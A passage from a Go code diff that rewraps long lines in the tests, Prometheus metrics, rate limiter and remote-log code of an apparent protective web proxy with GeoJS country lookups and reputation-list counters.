TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) { clock.advance(time.Second) wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) wantRequests(t, geojs, 2) - wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3") + wantAsked( + t, + geojs, + 1, + "203.0.113.1", + "203.0.113.2", + "2001:db8:1:2::", + "203.0.113.3", + ) }) } -func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) { +func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -503,7 +540,10 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing asked := waitForRequests(t, geojs, requests+1) if len(asked[requests]) != 23 { - t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests])) + t.Errorf( + "GeoJS was asked about %d clients, want 23", + len(asked[requests]), + ) } }) } @@ -531,8 +571,11 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) { asked := waitForRequests(t, geojs, 3) if len(asked[1]) != 200 || len(asked[2]) != 1 { - t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1", - len(asked[1]), len(asked[2])) + t.Errorf( + "GeoJS was asked about %d and then %d clients, want 200 and 1", + len(asked[1]), + len(asked[2]), + ) } }) } @@ -687,7 +730,11 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) { switch { case addr == unplaced: - item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"} + item = map[string]any{ + "ip": addr, + "asn": 64512, + "organization_name": "Unknown", + } case addr == leftOut && answers == answeringWithoutLeftOut: continue case answers == answeringInLowerCase: @@ -804,7 +851,12 @@ func newClients() func() netip.Prefix { } // wantCountry checks the country g gives client. -func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) { +func wantCountry( + t *testing.T, + g *lookup.GeoJS, + client netip.Prefix, + want string, +) { t.Helper() got := g.LookUp(t.Context(), client).Country @@ -843,7 +895,11 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) { // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having // gone without an answer from GeoJS. -func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) { +func wantRequestsWithoutGeoJSAnswer( + t *testing.T, + m *metrics.Metrics, + want float64, +) { t.Helper() got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer) @@ -883,7 +939,11 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string { // It then checks that client's next request does not wait but has it asked // about again in the background, after which g gives it the country want. func waitForCountry( - t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string, + t *testing.T, + g *lookup.GeoJS, + clock *testClock, + client netip.Prefix, + want string, ) { t.Helper() diff --git a/internal/lookup/lookuptest/lookuptest.go b/internal/lookup/lookuptest/lookuptest.go index 6fa3a28..2bfb5f1 100644 --- a/internal/lookup/lookuptest/lookuptest.go +++ b/internal/lookup/lookuptest/lookuptest.go @@ -45,7 +45,11 @@ func Write(tb testing.TB, path string, networks map[string]Network) { // WriteRecords writes a lookup database at path that holds each record in // records for its netblock, and nothing for any other address. -func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) { +func WriteRecords( + tb testing.TB, + path string, + records map[string]mmdbtype.Map, +) { tb.Helper() tree, err := mmdbwriter.New(mmdbwriter.Options{ diff --git a/internal/lookup/snapshot_test.go b/internal/lookup/snapshot_test.go index b75defd..af854a3 100644 --- a/internal/lookup/snapshot_test.go +++ b/internal/lookup/snapshot_test.go @@ -59,7 +59,10 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) { g.Load([]lookup.Answer{kept, stale}) if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) { - t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got) + t.Errorf( + "kept %+v, want only the answer GeoJS gave less than 7 days ago", + got, + ) } wantCountry(t, g, kept.Client, "FR") diff --git a/internal/metrics/busiest.go b/internal/metrics/busiest.go index 0cf9215..43cd396 100644 --- a/internal/metrics/busiest.go +++ b/internal/metrics/busiest.go @@ -41,9 +41,11 @@ type busiest struct { // for the topN busiest countries. func newCountries(topN int) *busiest { countries := newBusiest(topN, "country", "the client's country") - countries.refused = counterVec("sww_country_list_refusals_total", + countries.refused = counterVec( + "sww_country_list_refusals_total", "Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.", - []string{"country"}) + []string{"country"}, + ) return countries } @@ -90,7 +92,11 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) { // vecs returns the metrics: by AS number, those of requests and bytes; by // country, the refusals by the country list as well. func (b *busiest) vecs() []*prometheus.CounterVec { - vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes} + vecs := []*prometheus.CounterVec{ + b.requests, + b.requestBytes, + b.responseBytes, + } if b.refused != nil { vecs = append(vecs, b.refused) } diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index a1f81b4..046f0c3 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -79,14 +79,19 @@ func New(topN int, instanceName string) *Metrics { Name: "sww_requests_in_flight", Help: "Requests under way.", }), - requests: counterVec("sww_requests_total", - "Requests, by the class of their status and their action.", byStatus), + requests: counterVec( + "sww_requests_total", + "Requests, by the class of their status and their action.", + byStatus, + ), requestBytes: counterVec("sww_request_bytes_total", "Request body bytes, by the class of the status and the action.", byStatus), - responseBytes: counterVec("sww_response_bytes_total", + responseBytes: counterVec( + "sww_response_bytes_total", "Response body bytes, by the class of the status and the action.", - byStatus), + byStatus, + ), requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ Name: "sww_request_duration_seconds", Help: "How long requests took, from their arrival to their end.", @@ -95,15 +100,20 @@ func New(topN int, instanceName string) *Metrics { Name: "sww_upstream_duration_seconds", Help: "How long requests passed to the app took, from then to their end.", }), - rateLimitHits: counterVec("sww_rate_limit_hits_total", + rateLimitHits: counterVec( + "sww_rate_limit_hits_total", "Requests that broke a rate limit, a byte limit or the error burst, by "+ "its window and its kind, requests, bytes or refusals.", - []string{"window", "kind"}), + []string{"window", "kind"}, + ), offences: counterVec("sww_offences_total", "Offences, by kind.", []string{"kind"}), - coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total", + coreRuleSetMatches: counterVec( + "sww_core_rule_set_matches_total", "Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+ - "and the rule's id.", []string{"mode", "rule_id"}), + "and the rule's id.", + []string{"mode", "rule_id"}, + ), countries: newCountries(topN), asns: newASNs(topN), GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ @@ -114,26 +124,41 @@ func New(topN int, instanceName string) *Metrics { Name: "sww_geojs_failures_total", Help: "Requests to GeoJS that failed.", }), - RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{ - Name: "sww_requests_without_geojs_answer_total", - Help: "Requests that needed their client's answer from GeoJS and " + - "went on without it, because GeoJS had not given it in time.", - }), + RequestsWithoutGeoJSAnswer: prometheus.NewCounter( + prometheus.CounterOpts{ + Name: "sww_requests_without_geojs_answer_total", + Help: "Requests that needed their client's answer from GeoJS and " + + "went on without it, because GeoJS had not given it in time.", + }, + ), stateFileWrites: counterVec("sww_state_file_writes_total", "Writes of each state or cache file.", byFile), - stateFileWriteFailures: counterVec("sww_state_file_write_failures_total", - "Writes of each state or cache file that failed.", byFile), - stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds", + stateFileWriteFailures: counterVec( + "sww_state_file_write_failures_total", + "Writes of each state or cache file that failed.", + byFile, + ), + stateFileLastWrite: gaugeVec( + "sww_state_file_last_write_timestamp_seconds", "When each state or cache file was last written, in seconds since 1970.", - byFile), - stateFileSize: gaugeVec("sww_state_file_size_bytes", - "The size of each state or cache file, as it was last written.", byFile), - stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total", - "Edits of each state or cache file taken in while running.", byFile), - stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total", + byFile, + ), + stateFileSize: gaugeVec( + "sww_state_file_size_bytes", + "The size of each state or cache file, as it was last written.", + byFile, + ), + stateFileEditsTakenIn: counterVec( + "sww_state_file_edits_taken_in_total", + "Edits of each state or cache file taken in while running.", + byFile, + ), + stateFileEditsSetAside: counterVec( + "sww_state_file_edits_set_aside_total", "Edits of each state or cache file renamed to .bad because they "+ "did not parse.", - byFile), + byFile, + ), } m.registry.MustRegister( @@ -162,13 +187,15 @@ func (m *Metrics) AddBansAndClients( for _, cause := range []string{ bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec, } { - m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "sww_bans_made_total", - Help: "Bans made, by cause.", - ConstLabels: prometheus.Labels{"cause": cause}, - }, func() float64 { - return float64(ledger.Made(cause)) - })) + m.registry.MustRegister( + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "sww_bans_made_total", + Help: "Bans made, by cause.", + ConstLabels: prometheus.Labels{"cause": cause}, + }, func() float64 { + return float64(ledger.Made(cause)) + }), + ) } m.registry.MustRegister( @@ -202,9 +229,11 @@ func (m *Metrics) AddBansAndClients( // ruleFiles, read as the metrics are asked for. It is called once, before // RuleMatched. func (m *Metrics) AddRules(ruleFiles *rules.Files) { - m.ruleMatches = counterVec("sww_rule_matches_total", + m.ruleMatches = counterVec( + "sww_rule_matches_total", "Requests that matched a rule of the rule files, by its id and action.", - []string{"rule_id", "action"}) + []string{"rule_id", "action"}, + ) m.registry.MustRegister(m.ruleMatches, prometheus.NewGaugeFunc(prometheus.GaugeOpts{ @@ -247,7 +276,10 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { // returns, and the replacements of it that could not be read, which // readFailures returns. The lookup package's File, which has both, cannot // be named here: that package counts GeoJS's requests in these metrics. -func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) { +func (m *Metrics) AddLookupFile( + lastRead func() time.Time, + readFailures func() int, +) { m.registry.MustRegister( prometheus.NewGaugeFunc(prometheus.GaugeOpts{ Name: "sww_lookup_database_last_read_timestamp_seconds", @@ -276,24 +308,38 @@ const sourceLabel = "source" // metrics are asked for, for a list, the fetches that failed and when the // copy in use was fetched, and for a zone, the queries made and those that // failed. It is called once, before ReputationHit. -func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) { - m.reputationHits = counterVec("sww_reputation_hits_total", +func (m *Metrics) AddReputation( + lists *reputation.Lists, + dnsbl *reputation.DNSBL, +) { + m.reputationHits = counterVec( + "sww_reputation_hits_total", "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+ "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.", - []string{sourceLabel}) + []string{sourceLabel}, + ) m.registry.MustRegister(m.reputationHits) for _, zone := range dnsbl.Zones() { source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)} - m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) }) - m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) }) + m.addReputationQueries( + source, + func() int { return dnsbl.Queries(zone) }, + ) + m.addReputationFailures( + source, + func() int { return dnsbl.Failures(zone) }, + ) } for _, listURL := range lists.URLs() { source := prometheus.Labels{sourceLabel: listURL} - m.addReputationFailures(source, func() int { return lists.Failures(listURL) }) + m.addReputationFailures( + source, + func() int { return lists.Failures(listURL) }, + ) m.registry.MustRegister( prometheus.NewGaugeFunc(prometheus.GaugeOpts{ Name: "sww_reputation_last_fetch_timestamp_seconds", @@ -395,7 +441,10 @@ func (m *Metrics) RequestStarted() { // RequestEnded counts a request that has ended without being passed to the app, // from its log line. duration is how long the request took. -func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) { +func (m *Metrics) RequestEnded( + line *requestlog.Line, + duration time.Duration, +) { m.inFlight.Dec() m.count(line, duration, 0) } @@ -487,8 +536,10 @@ func (m *Metrics) count( ) { class := statusClass(line.Status) m.requests.WithLabelValues(class, line.Action).Inc() - m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes)) - m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes)) + m.requestBytes.WithLabelValues(class, line.Action). + Add(float64(line.RequestBytes)) + m.responseBytes.WithLabelValues(class, line.Action). + Add(float64(line.ResponseBytes)) m.requestDuration.Observe(duration.Seconds()) if upstreamDuration > 0 { @@ -506,7 +557,10 @@ func (m *Metrics) count( // addReputationQueries adds the counter of the queries to source, a DNSBL // zone, or of the checks of clients with AbuseIPDB, which count tells. -func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) { +func (m *Metrics) addReputationQueries( + source prometheus.Labels, + count func() int, +) { m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "sww_reputation_queries_total", Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.", @@ -519,7 +573,10 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in // addReputationFailures adds the counter of the fetches of source, a // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB, // that failed, which count tells. -func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) { +func (m *Metrics) addReputationFailures( + source prometheus.Labels, + count func() int, +) { m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "sww_reputation_failures_total", Help: "Fetches of the list, queries to the DNSBL zone, or checks with " + @@ -546,12 +603,17 @@ func statusClass(status int) string { // counterVec returns a counter named name, described by help, with a // series for each set of values of labels. func counterVec(name, help string, labels []string) *prometheus.CounterVec { - return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help}, - labels) + return prometheus.NewCounterVec( + prometheus.CounterOpts{Name: name, Help: help}, + labels, + ) } // gaugeVec returns a gauge named name, described by help, with a series // for each set of values of labels. func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec { - return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels) + return prometheus.NewGaugeVec( + prometheus.GaugeOpts{Name: name, Help: help}, + labels, + ) } diff --git a/internal/ratelimit/history_test.go b/internal/ratelimit/history_test.go index 853e25f..74be757 100644 --- a/internal/ratelimit/history_test.go +++ b/internal/ratelimit/history_test.go @@ -27,7 +27,11 @@ func TestHistoryKeepsEveryRequest(t *testing.T) { // refused. {Status: 404}, } { - limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r) + limiter.AddToHistory( + client, + start.Add(time.Duration(i)*time.Minute), + r, + ) } want := ratelimit.History{ @@ -63,7 +67,13 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) { // A later answer replaces it, and one for a client the table does not // hold adds no client. - limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR") + limiter.AddLookup( + client, + start.Add(time.Hour), + "AS64497", + "Other Net", + "FR", + ) limiter.AddLookup(other, start, "AS64496", "Example Net", "DE") want := ratelimit.History{ @@ -96,7 +106,11 @@ func TestResetKeepsTheHistory(t *testing.T) { for range limit { wantCount(t, limiter, client, start, "") - limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) + limiter.AddToHistory( + client, + start, + ratelimit.Request{Forwarded: true}, + ) } limiter.Reset(client) diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 9560af4..5e7fbe7 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -241,7 +241,8 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool { buckets := c.buckets() for i, w := range l.windows { - if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) { + if w.limit > 0 && + buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) { return true } } @@ -271,7 +272,12 @@ func (l *Limiter) CountRefusal( defer l.mu.Unlock() count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1) - hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count} + hit := Hit{ + Kind: KindRefusals, + Window: "minute", + Limit: threshold, + Count: count, + } return hit, count > float64(threshold) } @@ -292,7 +298,11 @@ func (l *Limiter) Reset(client netip.Prefix) { // AddToHistory adds r, a request from client at now, to the client's // history. -func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { +func (l *Limiter) AddToHistory( + client netip.Prefix, + now time.Time, + r Request, +) { l.mu.Lock() defer l.mu.Unlock() @@ -470,7 +480,13 @@ func (l *Limiter) count( for i, w := range l.windows { requestCounts[i] = requestBuckets[i].Add(now, w.length, requests) byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes) - limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent) + limit, byteLimit := percentOf( + w.limit, + percent, + ), percentOf( + w.byteLimit, + percent, + ) switch { case hit.Window != "": diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go index 04424d6..bd918d1 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -26,13 +26,17 @@ const ( hour = "hour" ) -func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) { +func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing( + t *testing.T, +) { t.Parallel() client := netip.MustParsePrefix("203.0.113.9/32") now := midnight() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1}, - tableSize) + limiter := ratelimit.New( + ratelimit.Limits{PerMinute: limit, PerDay: limit + 1}, + tableSize, + ) if limiter.OverARateLimit(client, now) { t.Error("a client never seen is over a rate limit") @@ -44,7 +48,9 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing. for range limit { if limiter.OverARateLimit(client, now) { - t.Error("a client with room for another request is over a rate limit") + t.Error( + "a client with room for another request is over a rate limit", + ) } wantCount(t, limiter, client, now, "") @@ -56,7 +62,11 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing. held, _ := limiter.Client(client) if held.Minute.Current != limit { - t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit) + t.Errorf( + "the client's minute holds %d requests, want %d", + held.Minute.Current, + limit, + ) } wantCount(t, limiter, client, now, minute) @@ -99,7 +109,13 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) { // A quarter into the next bucket, the window still covers three // quarters of the bucket before, with its four requests: 3 + 1 // is over the limit. - wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window) + wantCount( + t, + limiter, + client, + start.Add(tc.length+quarter), + tc.window, + ) // Three quarters into it, a quarter: 1 + 2 is within. wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "") @@ -110,7 +126,10 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) { func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize) + limiter := ratelimit.New( + ratelimit.Limits{PerMinute: limit, PerHour: limit}, + tableSize, + ) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -128,16 +147,22 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1, } if !over || hit != want { - t.Errorf("request over the limit gives %+v and %t, want %+v and true", - hit, over, want) + t.Errorf( + "request over the limit gives %+v and %t, want %+v and true", + hit, + over, + want, + ) } } func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}, - tableSize) + limiter := ratelimit.New( + ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}, + tableSize, + ) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -151,9 +176,19 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { _, hit, over := limiter.Count(client, start, 50) - want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3} + want := ratelimit.Hit{ + Kind: ratelimit.KindRequests, + Window: minute, + Limit: 2, + Count: 3, + } if !over || hit != want { - t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want) + t.Errorf( + "the third request gives %+v and %t, want %+v and true", + hit, + over, + want, + ) } // Half of the largest byte limit is still far above a TiB: working it @@ -168,8 +203,10 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) { t.Parallel() // Only the hour has limits: the minute's and the day's are off. - limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}, - tableSize) + limiter := ratelimit.New( + ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}, + tableSize, + ) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -177,14 +214,24 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) { // hour's limits, which are 0; the minute's, which are off, stay off. _, hit, _ := limiter.Count(client, start, 0) - want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1} + want := ratelimit.Hit{ + Kind: ratelimit.KindRequests, + Window: hour, + Limit: 0, + Count: 1, + } if hit != want { t.Errorf("the first request gives %+v, want %+v", hit, want) } _, hit, _ = limiter.CountBytes(client, start, 1, 0) - want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1} + want = ratelimit.Hit{ + Kind: ratelimit.KindBytes, + Window: hour, + Limit: 0, + Count: 1, + } if hit != want { t.Errorf("the first byte gives %+v, want %+v", hit, want) } @@ -215,13 +262,23 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) { t.Fatal("600 bytes are over the limit of 1000") } - _, hit, over := limiter.CountBytes(client, midnight(), 600, whole) + _, hit, over := limiter.CountBytes( + client, + midnight(), + 600, + whole, + ) want := ratelimit.Hit{ Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200, } if !over || hit != want { - t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want) + t.Errorf( + "1200 bytes give %+v and %t, want %+v and true", + hit, + over, + want, + ) } }) } @@ -230,8 +287,10 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) { func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}, - tableSize) + limiter := ratelimit.New( + ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}, + tableSize, + ) client := netip.MustParsePrefix("203.0.113.9/32") other := netip.MustParsePrefix("203.0.113.10/32") start := midnight() @@ -301,7 +360,10 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { for range limit { if _, over := limiter.CountRefusal(client, start, limit); over { - t.Fatalf("a refusal within the threshold of %d broke the error burst", limit) + t.Fatalf( + "a refusal within the threshold of %d broke the error burst", + limit, + ) } } @@ -311,13 +373,21 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1, } if !over || hit != want { - t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit, - want) + t.Errorf( + "one over the threshold broke it: %t, with %+v; want %+v", + over, + hit, + want, + ) } // Half a minute into the next, half of those four still count, 2, and // this one: 3, within the threshold. - hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit) + hit, over = limiter.CountRefusal( + client, + start.Add(time.Minute+time.Minute/2), + limit, + ) if over || hit.Count != 3 { t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false", hit.Count, over) @@ -326,7 +396,11 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { // A ban sets them back to zero. limiter.Reset(client) - hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit) + hit, _ = limiter.CountRefusal( + client, + start.Add(time.Minute+time.Minute/2), + limit, + ) if hit.Count != 1 { t.Errorf("after a reset, %v refusals, want 1", hit.Count) } @@ -347,7 +421,11 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) { // hour still covers three quarters of the bucket before, with its three // requests, which count 2.25, and this one: 3.25. The day covers all // four. - counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole) + counts, _, _ := limiter.Count( + client, + start.Add(time.Hour+time.Hour/4), + whole, + ) want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4} if counts != want { @@ -358,7 +436,10 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) { func TestResetSetsTheCountsBackToZero(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize) + limiter := ratelimit.New( + ratelimit.Limits{PerMinute: limit, PerDay: limit}, + tableSize, + ) client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() @@ -399,8 +480,10 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) { func TestRefusedRequestsCount(t *testing.T) { t.Parallel() - limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}, - tableSize) + limiter := ratelimit.New( + ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}, + tableSize, + ) refused := netip.MustParsePrefix("203.0.113.9/32") within := netip.MustParsePrefix("203.0.113.10/32") start := midnight() @@ -501,7 +584,11 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) { wantCount(t, limiter, clients[maxClients], now, "") if limiter.Len() != maxClients { - t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients) + t.Errorf( + "the table holds %d clients, want %d", + limiter.Len(), + maxClients, + ) } wantCount(t, limiter, clients[1], now, "") @@ -516,7 +603,10 @@ func midnight() time.Time { // wantCount counts a request from client at now, and checks the window // whose limit it goes over, "" for none. func wantCount( - t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time, + t *testing.T, + limiter *ratelimit.Limiter, + client netip.Prefix, + now time.Time, want string, ) { t.Helper() @@ -531,8 +621,12 @@ func wantCount( // wantBytesCount counts bytes from client at now, and checks the kind of // the limit they break, "" for none. func wantBytesCount( - t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time, - bytes int64, want string, + t *testing.T, + limiter *ratelimit.Limiter, + client netip.Prefix, + now time.Time, + bytes int64, + want string, ) { t.Helper() diff --git a/internal/ratelimit/snapshot_test.go b/internal/ratelimit/snapshot_test.go index 0685507..5dfae55 100644 --- a/internal/ratelimit/snapshot_test.go +++ b/internal/ratelimit/snapshot_test.go @@ -12,7 +12,12 @@ import ( func TestSnapshotListsTheClientsByAddress(t *testing.T) { t.Parallel() - want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"} + want := []string{ + "192.0.2.1/32", + "203.0.113.9/32", + "203.0.113.10/32", + "2001:db8::/64", + } limiter := ratelimit.New(ratelimit.Limits{}, tableSize) for _, i := range []int{2, 3, 0, 1} { @@ -32,8 +37,12 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) { counted := ratelimit.Buckets{Start: midnight(), Current: 1} if snapshot[0].Minute != counted || snapshot[0].Day != counted { - t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day, - counted) + t.Errorf( + "buckets %+v and %+v, want %+v", + snapshot[0].Minute, + snapshot[0].Day, + counted, + ) } } @@ -86,10 +95,15 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { t.Errorf("loaded two minutes on as %+v", got) } - if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 || + if got.MinuteBytes != (ratelimit.Buckets{}) || + got.HourBytes.Current != 5 || got.DayBytes.Current != 5 { - t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v", - got.MinuteBytes, got.HourBytes, got.DayBytes) + t.Errorf( + "loaded two minutes on with buckets of bytes %+v, %+v and %+v", + got.MinuteBytes, + got.HourBytes, + got.DayBytes, + ) } if got.MinuteRefusals != (ratelimit.Buckets{}) { @@ -101,8 +115,13 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { got = loaded(start.Add(2*time.Minute - time.Nanosecond)) if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 || got.MinuteRefusals.Current != 1 { - t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+ - "and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals) + t.Errorf( + "loaded just under two minutes on with minute buckets %+v, %+v "+ + "and %+v", + got.Minute, + got.MinuteBytes, + got.MinuteRefusals, + ) } } diff --git a/internal/remotelog/remotelog.go b/internal/remotelog/remotelog.go index 0a2eb47..501c8d8 100644 --- a/internal/remotelog/remotelog.go +++ b/internal/remotelog/remotelog.go @@ -185,7 +185,11 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) { // and over TCP and TLS after its length in bytes and a space, the // octet-counted framing of RFC 6587 and RFC 5425. func (s *Sender) record(at string, line []byte) []byte { - record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line)) + record := make( + []byte, + 0, + len(s.beforeTime)+len(at)+len(s.afterTime)+len(line), + ) record = 